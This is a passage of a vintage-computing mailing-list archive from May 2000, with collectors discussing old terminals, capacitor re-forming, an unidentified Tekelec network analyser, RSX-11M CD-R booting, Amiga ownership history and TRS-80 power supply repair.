At college we used Wyse and Cyfer terminals hooked up to a VAX 8600 running Ultrix. I've also been unable to track down any mention of Cyfer since. From xds_sigma7 at hotmail.com Sat May 20 04:23:51 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:48 2005 Subject: Wacky terminals Message-ID: <20000520092351.47101.qmail@hotmail.com> Well, FWIW, I do have the schematics + owner's manual + maintenance manual for a Hazeltine 2000... as for actual terminals, I've got a Prime terminal, an IBM 8775, and my long-time favorite, my trio of Perkin-Elmer 550B's. I had an ADM-11, but the stupid hunk of junk was dead when I got it, so it was pretty useless... I could use 3 more P-E 550B's, and a trio of Carousel 300's, but I doubt anyone has any... Wouldn't mind a CR-11 (I KNOW that its not a terminal, but since I'm on the topic of Interdata/P-E stuff I want...), so I could change the ROMs and use it on a 7/32... have the controller, but not the card reader... ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From rigdonj at intellistar.net Sat May 20 07:59:33 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: <002301bfc196$332cea60$0400c0a8@winbook> References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> At 07:29 AM 5/19/00 -0600, Richard wrote: >I'm not sure the Beehive terminal is the best-supported one available, but >if you've any hope of getting your Altair running with "period" hardware, >i.e. with hardware available in the era in which the box was designed, I'd >say you're going to need one. I already have a ADM-3A that works fine, so I don't need this one. I find Lear-Siegler terminals all the time. Video boards for the S-100 were not common >until much later, with the possible exception of the SSM VB1, which does not >provide a standard 80x24 display. > >If this terminal is really unused, it might be worth going through and >swapping the electrolytic caps with some relatively new ones, but it >probably would work well otherwise. 20-year old electrolytics need to be >"re-formed" if they're to work reliably. That involves removing them from >the circuit and gradually cycling them up to peak voltage and current. If >you have to remove them, it makes more sense to replace them rather than to >go through the re-forming process. Some of them may die anyway, due to >tired dielectric. I have a large Variac that I plug old stuff like this into and I use it to gradually bring up to full voltage. I start at 10% for a few minnutes, then go to 20% for 1/2 or so and then step it up another 20% every 1/2 hour. I've had no trouble with shorted caps since I started doing this. > >A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. >I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of >the time. I didn't start using this S-100 stuff until 1977, however. I'd like to find a Hazeltine 1500 for one of the Altairs but the only ones that I've found so far were in pretty bad shape. Joe From rigdonj at intellistar.net Sat May 20 08:14:53 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:48 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com> Message-ID: <3.0.1.16.20000520081453.25bf5ed4@mailhost.intellistar.net> My biggest gripe with the newer laptops is that the keybaords are too small. Give me my NEC MultiSpeed any day! If I want tiny, I'll use my HP 200 LX. Joe At 07:36 PM 5/19/00 GMT, you wrote: >I'd like to share a revelation I have had about modern laptops. > >I have noticed that nearly every new laptop generation on the market is >roughly about a third smaller than the previous generation. But does anybody >know why they make them this way? One might say that this is so because of >new manufacturing processes, new technologies, etc. > >But in my opinion, I think laptops are made as thin as they are so you can >be lost or stolen easier. If you lose a new laptop, you are probably out >$1500 or more! That's why I like older laptops like a Tandy Model 100, >Macintosh Portable, etc. because of these reasons: > >1. Large size >2. *Proper* keyboards (laptop makers, please thake note!) >3. Phenominal battery lives (see above comment) >4. If they are lost (nobody would really want to steal an obsolete laptop) >you are out maybe $50-150 or so. > >So the newest technology is better, I beg to differ! > >____________________________________________________________ >David Vohs, Digital Archaeologist & Computer Historian. >Home page: http://www.geocities.com/netsurfer_x1/ > >Computer Collection: > >"Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. >"Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. >"Delorean": TI-99/4A. >"Monolith": Apple Macintosh Portable. >"Spectrum": Tandy Color Computer 3. >"Boombox": Sharp PC-7000. >____________________________________________________________ >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From rigdonj at intellistar.net Sat May 20 08:10:26 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:48 2005 Subject: May be moving.... In-Reply-To: References: <39254E21.6C74387B@ix.netcom.com> Message-ID: <3.0.1.16.20000520081026.25bfdd2a@mailhost.intellistar.net> At 10:12 AM 5/19/00 -0700, you wrote: >>My wife is interviewing for a job in Virginia Beach VA, If she gets it we will >>be moving out there... >>Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk >>and surrounding area? These are the kind of place where when a business has >>excess electronic equipment it's resold via them.(Ie Halted bids on lots of >>electronic stuff then sells it to the public.) > >DRMO (US Navy Scrap) right outside the Base, IIRC. Since I was on a >Aircraft Carrier at the time I didn't have the room to check them out, but >I gather they have occasional auctions. All the DRMO surplus sales in this area are now being handled by a commercial company (levy-Latham). I think they're handling ALL the DRMO sales for the south East US. LL doesn't even notify you of their sales unless you're a mega-huge dealer and all the "scrap" is removed from the stuff before the "good" stuff is put up for auction. The DRMO sales here used to fill several buildings and a large parking lot. I went to a LL sale last week and it filled a ~ 1500 s.f. building and there was NO old computer stuff in it. BTW DRMO does have a web site so you should be able to find their locations on it. Joe From rigdonj at intellistar.net Sat May 20 09:04:12 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:48 2005 Subject: more weird stuff - ChameLAN 100-s Message-ID: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Here's something else that I picked up in a load of old computers last week. It's one of those oversize lunch box computers with the keyboard that folds up against one side and covers the screen. It has six ISA type card slots that lay horizontal in the main unit. There's also a piggy back unit that has three more ISA type slots that stand vertical. The logo on the keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally got it to boot. The first surprise was that the LCD screen is a backlit color screen. The next surprise is that it boots into some kind of UNIX. I never did see a name for the UNIX but it pops up a number of different copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. I couldn't get past the login id/password prompt. Any suggestions about how to get around it? It has some strange cards in it including several that appear to be very fancy Ethernet cards and another that has four fiber-optic connectors. The three boards in the piggy back unit are physicaly bolted together and each one has a four pin power connector similar to a 5 1/4" disk drive. There is a cable that connects to a each of those power connectors and a power outlet on the motherboard. The external connectors on these boards are marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a big IC that's marked AMD AM79C830GC on it. I haven't been able to find a refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on it. I haven't found a reference to that one either. Does anyone know what they are? The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. There are also extra LED indicators on the front of the computer that are marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". Does anyone know what this machine is made for or anything else about it? Joe From gaz_k at lineone.net Thu May 18 07:04:36 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:48 2005 Subject: Finding Vintage Computers - A Primer References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <006301bfc25e$dbd5cec0$ee37073e@gaz> Mark Gregory > In my area, there's a related type of store that is worth a look. It's a > chain called "Cash Converters", where they buy your unwanted goods (at > substantially less than the estimated value) and then sell them in a retail > environment. Like a permanent garage sale under one roof. Cash Converters are one of the worst offenders for selling old computers. The local store has been trying to sell a 386 for 150UKP for the past two years. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From thompson at mail.athenet.net Sat May 20 10:24:11 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:51:48 2005 Subject: more weird stuff - ChameLAN 100-s In-Reply-To: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Message-ID: This sounds like an early Dolch network analyser. Network General (Computer Associates, now) used to sell some Dolch models although in recent years they ran Windoze. DOLCH made (makes?) industrial strength intel machines which were popular among the military or industrial heavy duty crowd. I saw a Dolch marketing pamphlet which featured a similar machine mounted in a Jeep. It sounds like at the very least you might have the FDDI and token ring (TR?) analysis options in there. Not a cheap machine in its day or even likely today. The first step to get around the login problem would be to try to interrupt the boot process and sent it to single user mode. Try a CTRL C early in the boot process. (A handy way to interrupt older OS's like Ultrix in their boot...) If you get to the # prompt you should be in as root. Paul On Sat, 20 May 2000, Joe wrote: > Here's something else that I picked up in a load of old computers last > week. It's one of those oversize lunch box computers with the keyboard that > folds up against one side and covers the screen. It has six ISA type card > slots that lay horizontal in the main unit. There's also a piggy back unit > that has three more ISA type slots that stand vertical. The logo on the > keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally > got it to boot. The first surprise was that the LCD screen is a backlit > color screen. The next surprise is that it boots into some kind of UNIX. I > never did see a name for the UNIX but it pops up a number of different > copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. > I couldn't get past the login id/password prompt. Any suggestions about > how to get around it? > > It has some strange cards in it including several that appear to be very > fancy Ethernet cards and another that has four fiber-optic connectors. The > three boards in the piggy back unit are physicaly bolted together and each > one has a four pin power connector similar to a 5 1/4" disk drive. There > is a cable that connects to a each of those power connectors and a power > outlet on the motherboard. The external connectors on these boards are > marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a > big IC that's marked AMD AM79C830GC on it. I haven't been able to find a > refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on > it. I haven't found a reference to that one either. Does anyone know what > they are? > > The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a > type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. > There are also extra LED indicators on the front of the computer that are > marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". > > Does anyone know what this machine is made for or anything else about it? > > Joe > From jimw at agora.rdrop.com Sat May 20 10:54:16 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:48 2005 Subject: TTY columns (was Re: rescued a beehive) In-Reply-To: <39263D40.622C64F@rdel.co.uk> References: Message-ID: <3.0.3.32.20000520085416.00a05350@agora.rdrop.com> At 08:22 AM 5/20/00 +0100, Paul Williams wrote: > >Interesting to hear that TTYs had 72 columns, because I had wondered for >some time why the VT05 only had 20 rows of 72 columns. One minor thot to drop in here... For those who were uncomfortable with the 'column challenged' TTY, there were 80 column and 132 (!) column modifications for the venerable '33 series. The 80 column mod (AIR) just changed the advance ratchet on the carriage, while the 130 column mod also included a new type cylinder with a compressed font on it. I'm pretty sure that I've still got some (very) old printouts done on a '33 with the 132 column mod. I'll try to get them dug out and scan a page or two in case anyone is interested. -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Sat May 20 10:11:17 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: <39263D40.622C64F@rdel.co.uk> Message-ID: On Sat, 20 May 2000, Paul Williams wrote: > Hehehe. Terminal junkie support group, anyone? > > Sellam, Philip, I'd love to see pictures of any terminals in your > collections. I have a pretty diverse collection from the most boring to the most eccentric. I probably have close to 50 terminals of all makes and models. I'll try to snap some photos as I get time and perhaps put up a little webpage for them. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From healyzh at aracnet.com Sat May 20 14:35:36 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:48 2005 Subject: RSX-11M/M+ Question Message-ID: Is there a way to configure either RSX-11M or RSX-11M+ to boot up off of a disk that it can't write to? I just created a backup CD-R of my RSX-11M system, but since it could't write to the disk as it was coming up it didn't come up in a usable state. However, it did boot. Alternatively would it be possible to boot standalone backup off this CD or build a CD with standalone backup? RT-11 is a little more forgiving :^) Though I messed up and didn't have the partitions assigned correctly before making the disk image so I can only access part of my data when booting from CD, still it's enough to be able to recover the system with should I loose the HD! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Sat May 20 15:06:15 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:48 2005 Subject: Wacky terminals In-Reply-To: <20000520092351.47101.qmail@hotmail.com> from Will Jennings at "May 20, 2000 03:23:51 am" Message-ID: <200005202006.QAA20300@bg-tc-ppp739.monmouth.com> > Well, FWIW, I do have the schematics + owner's manual + maintenance manual > for a Hazeltine 2000... as for actual terminals, I've got a Prime terminal, > an IBM 8775, and my long-time favorite, my trio of Perkin-Elmer 550B's. I > had an ADM-11, but the stupid hunk of junk was dead when I got it, so it was > pretty useless... I could use 3 more P-E 550B's, and a trio of Carousel > 300's, but I doubt anyone has any... Wouldn't mind a CR-11 (I KNOW that its > not a terminal, but since I'm on the topic of Interdata/P-E stuff I > want...), so I could change the ROMs and use it on a 7/32... have the > controller, but not the card reader... The 550B's were ok... but the 1100 series and 1250's with the funky block mode bit. The 6312's also had that funky block mode (the 6312's were Lear Siegler's with different firmware -- and the 6312+ jobs were Link models -- and the early rom emulation wasn't as good. The block mode was mostly used for the Reliance database... Kind of IBM-ish 3270 wannabe stuff. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From ard at p850ug1.demon.co.uk Sat May 20 15:00:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> from "Joe" at May 20, 0 07:59:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1656 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/46b74387/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:54:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: PDP 8/L console In-Reply-To: <200005200331.WAA14613@caesar.cs.umn.edu> from "Lawrence LeMay" at May 19, 0 10:31:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 7540 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/7dda8183/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:22:30 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: from "liste@artware.qc.ca" at May 19, 0 07:35:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1390 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/1cc3f843/attachment.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:18:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Mike Ford" at May 19, 0 02:04:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/cb49df1a/attachment.ksh From CLASSICCMP at trailing-edge.com Sat May 20 16:25:03 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:48 2005 Subject: RSX-11M/M+ Question Message-ID: <000520172503.2020037d@trailing-edge.com> >Is there a way to configure either RSX-11M or RSX-11M+ to boot up off of a >disk that it can't write to? I just created a backup CD-R of my RSX-11M >system, but since it could't write to the disk as it was coming up it >didn't come up in a usable state. However, it did boot. Alternatively >would it be possible to boot standalone backup off this CD or build a CD >with standalone backup? The CD you built can *probably* be used to boot into standalone BRU, if it's the result of a fairly vanilla SYSGEN. Boot it up, let it mount the system disk, get to the MCR prompt (control-C and ABO AT. if necessary), and do a BOO [6,54]BRUSYS. Tim. From lemay at cs.umn.edu Sat May 20 16:51:12 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:48 2005 Subject: PDP 8/L console In-Reply-To: from Tony Duell at "May 20, 2000 08:54:19 pm" Message-ID: <200005202151.QAA16942@caesar.cs.umn.edu> > > One last thing. The original IBM Async card (the short-length 8-bit one > found in PCs and PC/XTs) has a current loop mode. You turn round the > larger of the 2 jumper blocks. I think it's active transmit and passive > receive, but I'd not like to bet on it. > > -tony > Now thats very interesting. Especially since I have 3 of those cards in my office at work, and could easily grab 2 more if necessary... Any idea where I might still be able to get documentation on that card? -Lawrence LeMay From donm at cts.com Sat May 20 16:59:38 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:48 2005 Subject: heads up MMJ crimper tool. In-Reply-To: <39261BD0.1F43279B@rain.org> Message-ID: On Fri, 19 May 2000, Marvin wrote: > > > Chuck McManis wrote: > > > > As the saying goes, "If you don't live here you probably don't want to go > > there." Basically Fry's sucks dead rodents through a hose. And most of the > > stuff on the shelf seems to have been returned at one point and never do > > they shave a penny off that price. I once heard someone brag that they > > didn't need to buy a digital camera, they just bought one at Fry's and > > returned it when they were done. :-( That and the fact that they drove the > > There was an article in IIRC Forbes Magazine describing Fry's. The nutshell > description was they didn't hire knowledgeable salespeople because their > customers probably knew more than the sales people, and they have the H&H > factor in place (Hoops & Hurdles) when customers want to return or exchange > something. I gather the idea was to put enough pain into the return process > that customers would think twice about returning merchandise. My own experience has been quite different. On several occasions when I returned items for credit or exchange, the process was quite painless. No hoops or hurdles, courteous clerks, and only a moderate line. - don From foo at siconic.com Sat May 20 16:39:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Sat, 20 May 2000, Tony Duell wrote: > but not just terminals. I feel that all computer peripherals are being > neglected by most collectors, so I try to hang on to unusual printers, > terminals, modems, etc. Things like the Sanders dot matrix printers (7 And I as well! I've got a wide assortment of printers, modems, terminals, etc. The locals always laugh at me because I'm the one who will always take whatever no one else wants. But I'll show them! ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From healyzh at aracnet.com Sat May 20 17:57:01 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:48 2005 Subject: RSX-11M/M+ Question In-Reply-To: <000520172503.2020037d@trailing-edge.com> Message-ID: >The CD you built can *probably* be used to boot into standalone BRU, >if it's the result of a fairly vanilla SYSGEN. > >Boot it up, let it mount the system disk, get to the MCR prompt (control-C >and ABO AT. if necessary), and do a BOO [6,54]BRUSYS. > >Tim. Cool, though it was BOO [1,51]BRUSYS (thankfully I had an old directory listing on my Linux box) on my RSX-11M V4.2 CD. Now I'll have to burn my M+ CD, and I can rest a bit easier knowing I don't have to depend on tape backups for recovering a disk. Besides it's faster to startup BRUSYS off of CD-ROM instead of TK50 :^) Thanks! Hey! Just finished the M+ CD, and it seems a lot more forgiving about booting up on a Read-Only drive. It boots up and is usable. Great, so if need be I can always use the M+ to get M onto a Hard Drive (in the event of really catastrophic failure. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ard at p850ug1.demon.co.uk Sat May 20 18:00:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:48 2005 Subject: PDP 8/L console In-Reply-To: <200005202151.QAA16942@caesar.cs.umn.edu> from "Lawrence LeMay" at May 20, 0 04:51:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3351 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/5ee6c195/attachment.ksh From healyzh at aracnet.com Sat May 20 21:34:41 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:48 2005 Subject: Warning: Most of DejaNews Archive Offline Message-ID: I'm depressed, I was just trying to lookup some info using DejaNews, and couldn't get it to dredge up anything older than about a month ago. Now I know why, they've taken the archives offline, and are apparently moving thier servers to a new site. Between the 20th-26th the stuff from two weeks to a year ago will be unavailable. The stuff older than that could be offline for several months :^( Don't know about everyone else, but DejaNews is one of the first places I check when trying to solve a problem. I feel like I just had a lobotomy :^( Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From retro at retrobits.com Sat May 20 22:14:02 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:51:48 2005 Subject: Warning: Most of DejaNews Archive Offline References: Message-ID: <000701bfc2d2$9d57f050$0201640a@colossus> > I'm depressed, I was just trying to lookup some info using DejaNews, and > couldn't get it to dredge up anything older than about a month ago. Now I Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 power supply when I got the bad news. (Bad news, ha ha ha, pun not intended but somewhat funny?) I did find them somewhere else, though. BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) Or, could tell me how to build/repair one? - Earl From richard at idcomm.com Sat May 20 23:28:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:48 2005 Subject: Warning: Most of DejaNews Archive Offline References: <000701bfc2d2$9d57f050$0201640a@colossus> Message-ID: <000901bfc2dc$f6826e80$0400c0a8@winbook> You might want to tweak Will Jennings. He recently snagged some of the ancient TRS-80 stuff (data) lying about in my basement. Dick ----- Original Message ----- From: Earl Evans To: Sent: Saturday, May 20, 2000 9:14 PM Subject: Re: Warning: Most of DejaNews Archive Offline > > > I'm depressed, I was just trying to lookup some info using DejaNews, and > > couldn't get it to dredge up anything older than about a month ago. Now I > > Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 > power supply when I got the bad news. (Bad news, ha ha ha, pun not intended > but somewhat funny?) I did find them somewhere else, though. > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > Or, could tell me how to build/repair one? > > - Earl > > > From gaz_k at lineone.net Sun May 21 08:49:08 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:48 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <005d01bfc32b$a0be4f60$3a2f63c3@gaz> Gary Hildebrand wrote: > Escom went on to become Amiga.de. They are building A1200's and some > A4000's from old parts stock held up by the creditors to Commodore. Not exactly, Escom bought the Amiga in 1995 for roughly $10 million and formed a new division called Amiga Technologies. When Escom went into liquidation during 1996 the Amiga was put on sale again. After a year of legal wranglings, Gateway (Gateway 2000 as they were known at the time) bought the Amiga and renamed Amiga Technologies as Amiga International. After two years of vapourware Gateway sold the Amiga (minus the patents) to a startup called Amino, staffed by formed Amiga employees. I've constructed a basic timeline of who owned Amiga, when: 1982 -1984 Amiga Corp. (the original development team headed by Jay Miner) 1984 - 1994 Commodore 1995 - 1996 Escom (set up the Commodore and Amiga subsiduary) 1997 - 1999 Gateway (developed the ill-fated Amiga MCC- this technology is due for release as the AOL TV) 1999 - Present Amino buy the Amiga trademarks and rename themselves Amiga Corp. You are correct about the current Amigas being constructed from old Commodore parts. For those who want a modern Amiga, the BoXeR is to be released soon (utilising a 68k or PPC processor). There is also the Developers machine for the next generation Tao-based OE. For a more in-depth look at these events take a look at my site. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From gaz_k at lineone.net Sun May 21 08:56:25 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:48 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <006701bfc32d$46723e20$3a2f63c3@gaz> Gary Hildebrand wrote: > Escom went on to become Amiga.de. They are building A1200's and some > A4000's from old parts stock held up by the creditors to Commodore. Not exactly, Escom bought the Amiga in 1995 for roughly $10 million and formed a new division called Amiga Technologies. When Escom went into liquidation during 1996 the Amiga was put on sale again. After a year of legal wrangling, Gateway (Gateway 2000 as they were known at the time) bought the Amiga and renamed Amiga Technologies as Amiga International. After two years of vapourware Gateway sold the Amiga (minus the patents) to a start-up called Amino, staffed by formed Amiga employees. I've constructed a basic timeline of who owned Amiga, when: 1982 -1984 Amiga Corp. (the original development team headed by Jay Miner) 1984 - 1994 Commodore 1995 - 1996 Escom (set up the Commodore and Amiga subsidiary) 1997 - 1999 Gateway (developed the ill-fated Amiga MCC- this technology is due for release as the AOL TV) 1999 - Present Amino buy the Amiga trademarks and rename themselves Amiga Corp. My Commodore knowledge is a bit shaky at the moment so I may be a few years out on some dates. 1956 - 1994 Commodore 1995 - 1996 Escom 1996 - 1997 Escom BV conduct a management buyout and purchase the Commodore trademark, becoming Commodore BV. 1997 - 1999 The Commodore brand is purchased by Tulip. They licence the name to other manufacturers, leading to Web.It. 2000 Unknown, it is possible that it was bought from Tulip by a privately held company. You are correct about the current Amigas being constructed from old Commodore parts. For those who want a modern Amiga, the BoXeR is to be released soon (utilising a 68k or PPC processor). There is also the Developers machine for the next generation Tao-based OE. For a more in-depth look at these events take a look at my site. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From rigdonj at intellistar.net Sun May 21 09:47:03 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:48 2005 Subject: rescued a beehive! In-Reply-To: References: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> At 09:00 PM 5/20/00 +0100, Tony wrote: >> >If this terminal is really unused, it might be worth going through and >> >swapping the electrolytic caps with some relatively new ones, but it >> >probably would work well otherwise. 20-year old electrolytics need to be >> >"re-formed" if they're to work reliably. That involves removing them from >> >the circuit and gradually cycling them up to peak voltage and current. If >> >you have to remove them, it makes more sense to replace them rather than to >> >go through the re-forming process. Some of them may die anyway, due to >> >tired dielectric. >> >> I have a large Variac that I plug old stuff like this into and I use it >> to gradually bring up to full voltage. I start at 10% for a few minnutes, >> then go to 20% for 1/2 or so and then step it up another 20% every 1/2 >> hour. I've had no trouble with shorted caps since I started doing this. > > >You want to be careful doing this. You'll be alright doing it with linear >supplies, but switch-mode supplies are approximately constant _power_ >devices and draw more current as the input voltage drops. Some burn out >in an expensive way if you run them off a reasonable fraction (but not >within the documented range) of the normal input voltage. Hmmm, good point. I haven't done this with a switching PS but you're probably right about what would happen. Joe From cisin at xenosoft.com Sun May 21 11:24:49 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:48 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: <000701bfc2d2$9d57f050$0201640a@colossus> Message-ID: On Sat, 20 May 2000, Earl Evans wrote: > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > Or, could tell me how to build/repair one? The good news is that MOST (but certainly not ALL) problems with the model 1 power supply are nothing more than a blown fuse! All that is usually needed is to solder in a new fuse. The bad news is that the case is glued together. Fortunately the glued joint tends to be substqantially weaker than the rest of the case. Although some, such as Tony, might have a much better way to open the case, brute force will usually do. Swinging it by the cord (now I'm SURE that Tony would have a better way :-), slam it down onto a carpeted floor. Gradually increase the level of violence until it cracks open, without getting rough enough to shatter it all over the place. Solder in a new fuse, and glue the case back together. A Dremel saw might do the job, but this is the technique that we used at the 6th? West Coast Computer Faire to repair half a dozen of them. (Show management insisted that there was NOTHING WRONG with the power provided) I sold some of my model 1 stuff at VCF, and Eric got most of the rest. -- Grumpy Ol' Fred cisin@xenosoft.com DogEars From west at tseinc.com Sun May 21 11:34:44 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:51:48 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? Message-ID: <000d01bfc342$79484320$0101a8c0@jay> A friend called me about a cpu cabinet sitting next to a dumpster. I would like some background and identification on this system if anyone knows. And most importantly - there's much more that I left behind - should I go get it (as in anyone here want some of it)? At first blush I didn't think it would be interesting, but it looks like an unibus system; it also had some M8043 and M8017 cards in it so it must be something DECish? Here's very sketchy details... Quadex Q5000 labeled rack and cpu enclosure Various tags inside the cabinet mention Quadex or Scientific Micro Systems or CompuGraphics A very deep rackmount unit with a QIC tape slot in the front A very deep rackmount unit with two 8" floppy drives - model A02028-501 "030 Storage Module" The backplane looks DECish to me - similar to what I've seen in a 11/44. Here's some of the cards that are in it. Three M8017 - I know what these are :) One M8043 - I know what this is too :) Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type connector (much smaller than 10b2). Main chip is N8X305N one #70201 which obviously went to external devices - two 50 pin headers which end in same connector 11/23 uses to go to external RD52's Sheild/bus terminator board - #203763 What appears to be a memory board and has a 40 pin connector on it - #75063 One board has a ton of different size ribbon cables coming off it - label says "FWD0106" Plessey Peripheral Systems board with 50-pin berg connector #703755 Small board #20041 with 14 pin berg coming off the side 2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of N82S191N chips that say things like "instruction decoder" The SLU cards I can use in my 11/23's and 11/73's. I noticed that the back of the cpu cabinet someone had labelled the ports - some said terminal and some said 